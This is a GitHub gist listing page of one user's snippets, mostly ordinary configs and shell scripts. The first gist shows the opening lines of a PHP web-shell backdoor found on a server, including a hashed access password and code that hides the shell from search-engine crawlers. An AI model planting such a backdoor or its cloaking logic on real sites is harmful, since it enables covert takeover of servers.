Skip to content

Instantly share code, notes, and snippets.

View whi-tw's full-sized avatar
🌐
YAY, STATUS FROM API

whi-tw

🌐
YAY, STATUS FROM API
View GitHub Profile
@whi-tw
whi-tw / sneakyscript.php
Created October 28, 2016 10:46
a backdoor script found on a server - pretty comprehensive one too!
<?php
$color = "#df5";$default_action = 'FilesMan';$auth_pass = "5672565533f43af96e36c0ab514fd2a4";$default_use_ajax = true;$default_charset = 'Windows-1251';
<?php if (!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log', NULL);
@whi-tw
whi-tw / extensions_custom.conf
Created May 2, 2017 10:11
Asterisk redial until connect extension
[from-internal-custom]
include => to-destination_name
[to-destination_name]
exten => 3627,1(dialing),Dial(SIP/**phone_number**@**trunk_name)
exten => 3627,n,GotoIf($["${DIALSTATUS}" = "BUSY"]?busy:completed)
exten => 3627,n(busy),Playback(beep)
exten => 3627,n,Goto(dialing)
exten => 3627,n(completed),Hangup()
@whi-tw
whi-tw / snapshot.conf
Last active March 28, 2018 11:45
Memset Automatic Snapshot with retention
logfile=/var/log/memset-snapshot
apikey="**APIKEY**"
server="testyaa1"
memstore="mstestyaa1"
snap_type="tar"
retention=2
@whi-tw
whi-tw / .mykman.yml
Created October 23, 2019 15:07
mykman - a dummy ykman to get 2fa codes from pass
---
some-aws-account: amazon.com/totp
some-github-account: github.com/totp
@whi-tw
whi-tw / keybase.md
Last active October 30, 2019 12:45

Keybase proof

I hereby claim:

  • I am whi-tw on github.
  • I am tnwhitwell (https://keybase.io/tnwhitwell) on keybase.
  • I have a public key ASAASE9bOituZaHlhaqQLEjQVulDI1DnECalWHVMvwtr9Qo

To claim this, I am signing this object:

@whi-tw
whi-tw / mute_tool.sh
Created December 2, 2020 13:04
Mute either USB microphone or internal soundcard, depending on presence.
#!/usr/bin/env bash
USB=false
select_card() {
USB="false" # assume that usb mic is not attached
cards="$(arecord -l | grep card)"
echo "${cards}" | grep -q USB && USB="true" # if a device has USB in the name, usb mic is attached and we probs want to use it
while read -r card; do
# loop through cards. if USB, then pick the first card with USB in the name. else, pick the first card w/o
if [ "${USB}" == "true" ]; then
echo "${card}" | grep -q USB && echo "true" $(echo "${card}" | awk '{print $2}' | cut -d':' -f1) && return
@whi-tw
whi-tw / gh.plugin.zsh
Last active February 11, 2022 17:40
zsh plugin to add gh command completion
# TODO: 2021-12-28: remove this bit of code as it exists in oh-my-zsh.sh
# Add completions folder in $ZSH_CACHE_DIR
command mkdir -p "$ZSH_CACHE_DIR/completions"
(( ${fpath[(Ie)"$ZSH_CACHE_DIR/completions"]} )) || fpath=("$ZSH_CACHE_DIR/completions" $fpath)
# If the completion file does not exist, generate it and then source it
# Otherwise, source it and regenerate in the background
if [[ ! -f "$ZSH_CACHE_DIR/completions/_gh" ]]; then
gh completion -s zsh >| "$ZSH_CACHE_DIR/completions/_gh"
source "$ZSH_CACHE_DIR/completions/_gh"
@whi-tw
whi-tw / jobs.yml
Last active March 22, 2022 05:19
rclone python config wrapper
tasks:
- name: backup_something
local: "/path/to/sync"
remote: "memset_memstore:path/to/remote"
operation: sync
- name: backup_something_else
local: "/another/path/to/sync"
remote: "memset_memstore:another/path/to/remote"
operation: sync
@whi-tw
whi-tw / font-face.css
Created August 5, 2023 15:12
Fira Code Nerd Font for Blink Shell
This file has been truncated, but you can view the full file.
@font-face {
font-family: "FiraCode Nerd Font Mono";
font-style: normal;
font-weight: 200;
src: url("data:font/ttf;charset=utf-8;base64,AAEAAAASAQAABAAgR0RFRr7qoc8AH4F8AAAB2EdQT1NoLkU8ACBAOAAASMBHU1VCu506wwAfg1QAALziT1MvMoHBkFMAAAGoAAAAYFBmRWQW5NdDACCI+AAAAjhjbWFwgoQ4ogAAWWAAACOoY3Z0IEVKGEcAAIv4AAAAqGZwZ22eNhXSAAB9CAAADhVnYXNwAAAAEAAfgXQAAAAIZ2x5ZrLHi0cAATtAABuZ2GhlYWQVlbEeAAABLAAAADZoaGVh/v4BRQAAAWQAAAAkaG10eEGKNqwAAAIIAABXVmxvY2Fw4D2gAACMoAAArqBtYXhwM4sOngAAAYgAAAAgbmFtZea9wogAHNUYAAAJCXBvc3T9qsMSABzeJAACo1BwcmVwis2cHgAAiyAAAADWAAEAAAAGAIPgudo7Xw889QAXB54AAAAA3c/67gAAAADgomub8iv8GAXICWAAAAAGAAIAAQAAAAAAAQAABwj9qAAABLDyK/7oBcgAAQAAAAAAAAAAAAAAAAAAAAQAAQAAK6cIxwBgAHgACgACAkADeACNAAAEqQHiAAMAAwAEBLABLAAFAAAE9ASSAAAAkgT0BJIAAAKrADIBPgAAAgAACQAAAAAAAOAAAu8SAfn7AgAgOAAAAABDVERCAYAADf//Bwj9qAAABwgCWGAAAJ/f1wAABBoFXgAAACAABgSwAFAAAAAABLAAAASwAAAAAAHfAVwAdACaACIAdQH9AQcBaQBtAJYBowDRAbUAdwCkANQAggB7AKAAsQCwANQAkQCTAcMBngC7AOYAuwDHABkAPADZAJAAugEOAScAaQC6AN8ApQDtASgARQC6AGsBBwBjAOUAagBaAKMAQAAOAE4AQgCi